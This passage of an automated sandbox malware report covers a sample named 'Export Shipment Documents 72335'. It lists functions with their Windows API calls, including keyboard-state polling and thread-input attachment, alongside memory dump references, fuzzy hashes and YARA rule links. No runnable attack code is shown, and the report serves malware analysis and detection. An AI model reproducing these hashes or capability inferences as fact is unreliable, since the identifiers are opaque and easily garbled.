                                                                                                                                                                                                          • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                                                                                                                          Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                                                                                                                          • _memset.LIBCMT ref: 004481BA
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$LongWindow_memset
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 830647256-0
                                                                                                                                                                                                          • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                                          • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                                                                                                                          Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                                          • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                                                                                                                          • DeleteObject.GDI32(00000000), ref: 0046EB4F
                                                                                                                                                                                                          • DestroyIcon.USER32(00530055), ref: 0046EB67
                                                                                                                                                                                                          • DeleteObject.GDI32(D443D777), ref: 0046EB7F
                                                                                                                                                                                                          • DestroyWindow.USER32(003D004E), ref: 0046EB97
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 802431696-0
                                                                                                                                                                                                          • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                                          • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                                                                                                                          Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                                                                          • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                                                                          • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                                                                          • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                                                                          • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                                                                          • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: State$Async$Keyboard
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 541375521-0
                                                                                                                                                                                                          • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                                          • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                                                                          Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 0-2761332787
                                                                                                                                                                                                          • Opcode ID: 31ff441d28c5e927918bd04bcaff178bc0424bc9c98581a0806166e4fd3f8403
                                                                                                                                                                                                          • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 31ff441d28c5e927918bd04bcaff178bc0424bc9c98581a0806166e4fd3f8403
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                                                                          Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                                                                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00450944
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00450955
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                                                                                                                          • String ID: -----$SysListView32
                                                                                                                                                                                                          • API String ID: 4008455318-3975388722
                                                                                                                                                                                                          • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                                          • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                                                                                                                          Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00448625
                                                                                                                                                                                                          • CreateMenu.USER32 ref: 0044863C
                                                                                                                                                                                                          • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                                                                                                                          • IsMenu.USER32(?), ref: 004486EB
                                                                                                                                                                                                          • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                                                                                                                          • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                                                                                                                          • DrawMenuBar.USER32 ref: 00448742
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 176399719-4108050209
                                                                                                                                                                                                          • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                                          • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                                                                                                                          Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                                                                          • GetParent.USER32 ref: 004692A4
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                                                                          • GetParent.USER32 ref: 004692C7
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 2040099840-1403004172
                                                                                                                                                                                                          • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                                          • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                                                                          Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                                                                          • GetParent.USER32 ref: 0046949E
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                                                                          • GetParent.USER32 ref: 004694C1
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 2040099840-1403004172
                                                                                                                                                                                                          • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                                          • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                                                                          Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                                                                                                                          • SendMessageW.USER32(76C223D0,00001001,00000000,00000000), ref: 00448E73
                                                                                                                                                                                                          • SendMessageW.USER32(76C223D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                                                                                                                                            • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3771399671-0
                                                                                                                                                                                                          • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                                          • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                                                                                                                          Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3413494760-0
                                                                                                                                                                                                          • Opcode ID: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                                                                                                                                                                                                          • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                                                                          • Opcode Fuzzy Hash: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                                                                          Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                                                                          • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2156557900-0
                                                                                                                                                                                                          • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                                          • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                                                                          Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
